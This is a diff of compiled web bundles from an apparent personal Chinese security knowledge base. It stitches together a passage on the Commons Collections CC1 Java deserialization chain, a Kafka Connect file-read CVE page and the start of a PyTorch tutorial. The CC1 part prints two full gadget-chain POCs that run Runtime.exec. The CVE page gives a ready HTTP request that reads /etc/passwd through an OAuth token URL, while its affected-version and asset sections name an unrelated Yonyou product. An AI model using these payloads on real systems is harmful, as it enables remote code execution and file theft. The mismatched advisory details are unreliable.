\u4e00\u4e2a\u5c01\u88c5\u7c7b\u4f3c\u4e8e\uff0ccheckSetValue\u8c03\u7528\u7684\u5c31\u662fvalueTransformer\u7684transform"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826799.png-1",alt:"image-20221121162546300"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4ed6\u7684\u6784\u9020\u65b9\u6cd5\u5b9e\u9645\u662f\u53ef\u63a7\u7684\uff0c\u7ee7\u7eed\u5f80\u4e0a\u627e\uff0c\u53d1\u73b0\u53ea\u6709\u4e00\u5904\u8c03\u7528\u4e86checkSetValue\uff0c\u5c31\u662f``TransformedMap",(0,r.jsx)(n.code,{children:"\u7684\u7236\u7c7b "}),"AbstractInputCheckedMapDecorator`(\u62bd\u8c61\u7c7b)"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813573.png-1",alt:"image-20230220102949587"})}),"\n",(0,r.jsxs)(n.p,{children:["\u800c MapEntry \u6211\u4eec\u77e5\u9053\u5728\u5faa\u73af\u904d\u5386\u7684\u65f6\u5019\u4f1a\u89e6\u53d1\uff0c\u6240\u4ee5\u53ea\u8981\u5bf9map\u8fdb\u884c\u904d\u5386\u5e76\u8bbe\u7f6e\u503c\u4e5f\u5c31\u4f1a\u89e6\u53d1checkSetValue\u8fd9\u4e2a\u65b9\u6cd5\u3002\u5c31\u53ef\u4ee5\u5173\u6ce8\u5230Sun\u5305\u4e0b\u9762\u7684",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u8fd9\u4e2a\u7c7b\uff0c\u5728readObject \u4e2d \u5faa\u73af\u904d\u5386\u7684map"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813539.png-1",alt:"image-20230220103524663"})}),"\n",(0,r.jsx)(n.p,{children:"\u800c\u8fd9\u91cc\u6709\u4e2a\u96be\u70b9\u5c31\u662f\uff0cmemberValue.setValue(value)\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u7684value\uff0c\u662fnew \u4e86\u4e00\u4e2a\u51fa\u6765\u7684\u4ee3\u7406\u7c7b\uff0c\u6240\u4ee5\u5c31\u5f88\u96be\u63a7\u5236\uff0c\u4e8e\u662f\u53c8\u53ef\u4ee5\u60f3\u5230\u4e4b\u524d\u6d89\u53ca\u5230\u7684\u4e00\u4e2a\u7c7b"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"ConstantTransformer"}),"\uff0c\u8be5\u7c7b\u7684transformer\u65b9\u6cd5\uff0c\u53ef\u4ee5\u76f4\u63a5\u8fd4\u56de\u56fa\u5b9a\u5bf9\u8c61\uff0c",(0,r.jsx)(n.code,{children:"ChainedTransformer"})," \u53c8\u53ef\u4ee5\u5faa\u73af\u8c03\u7528transformer\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u800c\u8fdb\u5165\u5230\u9700\u8981\u4e24\u4e2a\u6761\u4ef6"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u7684type\u9700\u8981\u4e00\u4e2avalue \u624d\u80fd\u8fdb\u5165\u3002"]}),"\n",(0,r.jsx)(n.li,{children:"map\u4e2d\u7684key\u503c\u4e5f\u9700\u8981\u8fd9\u4e2avalue\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\u3001\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {\n // \u56fd\u5185\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n });\n HashMap objectObjectHashMap = new HashMap<>();\n objectObjectHashMap.put("value","");\n Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);\n Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n Object o = declaredConstructor.newInstance(Target.class, decorate);\n serialize(o);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n\n}\n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u56fd\u5916",children:"\u56fd\u5916"}),"\n",(0,r.jsx)(n.p,{children:"\u4e0e\u56fd\u5185\u7684\u601d\u8def\u4e00\u81f4\uff0c\u4e0d\u540c\u7684\u662f\u5229\u7528\u7684map\u4e0d\u4e00\u6837\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813575.png-1",alt:"image-20230220140915373"})}),"\n",(0,r.jsxs)(n.p,{children:["\u800c\u7b26\u5408\u8fd9\u4e2a\u7684\u662f\u5728",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"})," \u7684invoke\u65b9\u6cd5\u4e2d\uff0c\u6211\u4eec\u77e5\u9053invoke\u662f\u52a8\u6001\u4ee3\u7406\u65f6\u4f1a\u81ea\u52a8\u89e6\u53d1invoke\u65b9\u6cd5\uff0c\u521a\u597d\u8fd9\u4e2amemberValues\u4e5f\u662f\u53ef\u63a7\u5236\u7684"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813576.png-1",alt:"image-20230220141056311"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\uff0c\u6211\u4eec\u53ef\u4ee5\u5728",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u8fd9\u4e2a\u7c7b\u5957\u4e0a\u4e00\u5c42\u4ee3\u7406\u7c7b\uff0c\u4e8e\u662f\u4ee3\u7801\u8d70\u5230entrySet()\u65f6\uff0c\u5c31\u4f1a\u89e6\u53d1invoke\u65b9\u6cd5\u3002\u6210\u529f\u6267\u884c\u4f1a\u5e8f\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813577.png-1",alt:"image-20230220141206343"})}),"\n",(0,r.jsx)(n.p,{children:"\u5b8c\u6574POC"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {\n // \u56fd\u5916\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n });\n HashMap objectObjectHashMap = new HashMap<>();\n Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);\n Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);\n Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);\n Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);\n serialize(o1);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n'})}),"\n",(0,r.jsx)(n.h2,{id:"cc1\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC1\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813578.png-1",alt:"image-20230220171022413"})})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/ba2be31d.1bc6b291.js b/en/assets/js/ba2be31d.1bc6b291.js new file mode 100644 index 0000000..83f0f19 --- /dev/null +++ b/en/assets/js/ba2be31d.1bc6b291.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9819],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>o});var a=t(96540);const s={},r=a.createContext(s);function c(e){const n=a.useContext(r);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),a.createElement(r.Provider,{value:n},e.children)}},31550:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>u,frontMatter:()=>c,metadata:()=>a,toc:()=>l});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/"},"next":{"title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)"}}');var s=t(74848),r=t(28453);const c={},o="\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb",i={},l=[];function d(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-06-14 17:57:25"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"\u4e00\u6f0f\u6d1e\u7b80\u4ecb",children:"\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb"})}),"\n",(0,s.jsx)(n.p,{children:"Kafka Connect \u662f\u4e00\u79cd\u7528\u4e8e\u5728 Apache Kafka \u548c\u5176\u4ed6\u7cfb\u7edf\u4e4b\u95f4\u53ef\u6269\u5c55\u4e14\u53ef\u9760\u5730\u6d41\u5f0f\u4f20\u8f93\u6570\u636e\u7684\u5de5\u5177\u3002 \u5b83\u4f7f\u5feb\u901f\u5b9a\u4e49\u5c06\u5927\u91cf\u6570\u636e\u79fb\u5165\u548c\u79fb\u51fa Kafka \u7684\u8fde\u63a5\u5668\u53d8\u5f97\u7b80\u5355\u3002 Kafka Connect \u53ef\u4ee5\u6444\u53d6\u6574\u4e2a\u6570\u636e\u5e93\u6216\u4ece\u6240\u6709\u5e94\u7528\u7a0b\u5e8f\u670d\u52a1\u5668\u6536\u96c6\u6307\u6807\u5230 Kafka \u4e3b\u9898\u4e2d\uff0c\u4f7f\u6570\u636e\u53ef\u7528\u4e8e\u4f4e\u5ef6\u8fdf\u7684\u6d41\u5904\u7406\u3002 \u5bfc\u51fa\u4f5c\u4e1a\u53ef\u4ee5\u5c06\u6570\u636e\u4ece Kafka \u4e3b\u9898\u4f20\u9001\u5230\u4e8c\u7ea7\u5b58\u50a8\u548c\u67e5\u8be2\u7cfb\u7edf\u6216\u6279\u5904\u7406\u7cfb\u7edf\u8fdb\u884c\u79bb\u7ebf\u5206\u6790\u3002"}),"\n",(0,s.jsx)(n.h1,{id:"\u4e8c\u5f71\u54cd\u7248\u672c",children:"\u4e8c\u3001\u5f71\u54cd\u7248\u672c"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u7528\u53cbNC"}),"\n"]}),"\n",(0,s.jsx)(n.h1,{id:"\u4e09\u8d44\u4ea7\u6d4b\u7ed8",children:"\u4e09\u3001\u8d44\u4ea7\u6d4b\u7ed8"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["huiter\uff1a",(0,s.jsx)(n.code,{children:'app.name=="\u7528\u53cb UAP"'})]}),"\n"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u767b\u5f55\u9875\u9762"}),"\n"]}),"\n",(0,s.jsx)(n.h1,{id:"\u56db\u6f0f\u6d1e\u590d\u73b0",children:"\u56db\u3001\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-plain",children:'POST /druid/indexer/v1/sampler?for=connect HTTP/1.1\nHost: \nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36\nConnection: close\nCache-Control: max-age=0\nContent-Type: application/json\nContent-Length: 1617\n\n{\n "type": "kafka",\n "spec": {\n "type": "kafka",\n "ioConfig": {\n "type": "kafka",\n "consumerProperties": {\n "bootstrap.servers": "127.0.0.1:6666",\n "sasl.mechanism": "OAUTHBEARER",\n "security.protocol": "SASL_SSL",\n "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",\n "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",\n "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\\"http://127.0.0.1:9999/token\\" sasl.oauthbearer.jwks.endpoint.url=\\"http://127.0.0.1:9999/jwks\\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\\"http://127.0.0.1:9999\\" useFirstPass=true serviceName=kafka debug=true;"\n },\n "topic": "test",\n "useEarliestOffset": true,\n "inputFormat": {\n "type": "regex",\n "pattern": "([\\\\s\\\\S]*)",\n "listDelimiter": "",\n "columns": ["raw"]\n }\n },\n "dataSchema": {\n "dataSource": "sample",\n "timestampSpec": {\n "column": "!!!_no_such_column_!!!",\n "missingValue": "1970-01-01T00:00:00Z"\n },\n "dimensionsSpec": {},\n "granularitySpec": {\n "rollup": false\n }\n },\n "tuningConfig": {\n "type": "kafka"\n }\n },\n "samplerConfig": {\n "numRows": 500,\n "timeoutMs": 15000\n }\n}\n'})})]})}function u(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/ba585fcf.60e3290d.js b/en/assets/js/ba585fcf.60e3290d.js new file mode 100644 index 0000000..f7f8b52 --- /dev/null +++ b/en/assets/js/ba585fcf.60e3290d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[929],{28453:(n,e,r)=>{r.d(e,{R:()=>i,x:()=>c});var s=r(96540);const d={},l=s.createContext(d);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:i(n.components),s.createElement(l.Provider,{value:e},n.children)}},35614:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>t,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","title":"3.4 \u6a21\u578b\u6784\u5efa.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.3 \u6570\u636e\u8bfb\u5165.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"},"next":{"title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"}}');var d=r(74848),l=r(28453);const i={},c="3.4 \u6a21\u578b\u6784\u5efa.md",t={},o=[{value:"3.4.1 \u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",id:"341-\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",level:2},{value:"3.4.2 \u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",id:"342-\u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",level:2},{value:"3.4.3 \u6a21\u578b\u793a\u4f8b",id:"343-\u6a21\u578b\u793a\u4f8b",level:2}];function a(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"34-\u6a21\u578b\u6784\u5efamd",children:"3.4 \u6a21\u578b\u6784\u5efa.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"34-\u6a21\u578b\u6784\u5efa",children:"3.4 \u6a21\u578b\u6784\u5efa"}),"\n",(0,d.jsxs)(e.p,{children:["\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u53d7\u76ca\u4e8e\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\u548cBP\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\u7684\u5b9e\u73b0\uff0c\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u7814\u7a76\u4eba\u5458\u7814\u7a76\u51fa\u4e86\u8bb8\u8bb8\u591a\u591a\u7684\u6a21\u578b\uff0cPyTorch\u4e2d\u795e\u7ecf\u7f51\u7edc\u6784\u9020\u4e00\u822c\u662f\u57fa\u4e8e",(0,d.jsx)(e.code,{children:"nn.Module"}),"\u7c7b\u7684\u6a21\u578b\u6765\u5b8c\u6210\u7684\uff0c\u5b83\u8ba9\u6a21\u578b\u6784\u9020\uf901\u52a0\u7075\u6d3b\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"PyTorch\u4e2d\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020\u65b9\u6cd5"}),"\n",(0,d.jsx)(e.li,{children:"PyTorch\u4e2d\u7279\u6b8a\u5c42\u7684\u6784\u5efa"}),"\n",(0,d.jsx)(e.li,{children:"LeNet\u7684PyTorch\u5b9e\u73b0"}),"\n"]}),"\n",(0,d.jsx)(e.h2,{id:"341-\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",children:"3.4.1 \u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u662f ",(0,d.jsx)(e.code,{children:"torch.nn"})," \u6a21\u5757\uf9e9\u63d0\u4f9b\u7684\u4e00\u4e2a\u6a21\u578b\u6784\u9020\u7c7b\uff0c\u662f\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u6a21\u5757\u7684\u57fa\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u627f\u5b83\u6765\u5b9a\u4e49\u6211\u4eec\u60f3\u8981\u7684\u6a21\u578b\u3002\u4e0b\u9762\u7ee7\u627f Module \u7c7b\u6784\u9020\u591a\u5c42\u611f\u77e5\u673a\u3002\u8fd9\uf9e9\u5b9a\u4e49\u7684 MLP \u7c7b\u91cd\u8f7d\uf9ba ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u7684 ",(0,d.jsx)(e.code,{children:"__init__"})," \u51fd\u6570\u548c ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u3002\u5b83\u4eec\u5206\u522b\u7528\u4e8e\u521b\u5efa\u6a21\u578b\u53c2\u6570\u548c\u5b9a\u4e49\u524d\u5411\u8ba1\u7b97\uff08\u6b63\u5411\u4f20\u64ad\uff09\u3002\u4e0b\u9762\u7684 MLP \u7c7b\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5177\u6709\u4e24\u4e2a\u9690\u85cf\u5c42\u7684\u591a\u5c42\u611f\u77e5\u673a\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\nclass MLP(nn.Module):\n # \u58f0\u660e\u5e26\u6709\u6a21\u578b\u53c2\u6570\u7684\u5c42\uff0c\u8fd9\u91cc\u58f0\u660e\u4e86\u4e24\u4e2a\u5168\u8fde\u63a5\u5c42\n def __init__(self, **kwargs):\n # \u8c03\u7528MLP\u7236\u7c7bBlock\u7684\u6784\u9020\u51fd\u6570\u6765\u8fdb\u884c\u5fc5\u8981\u7684\u521d\u59cb\u5316\u3002\u8fd9\u6837\u5728\u6784\u9020\u5b9e\u4f8b\u65f6\u8fd8\u53ef\u4ee5\u6307\u5b9a\u5176\u4ed6\u51fd\u6570\n super(MLP, self).__init__(**kwargs)\n self.hidden = nn.Linear(784, 256)\n self.act = nn.ReLU()\n 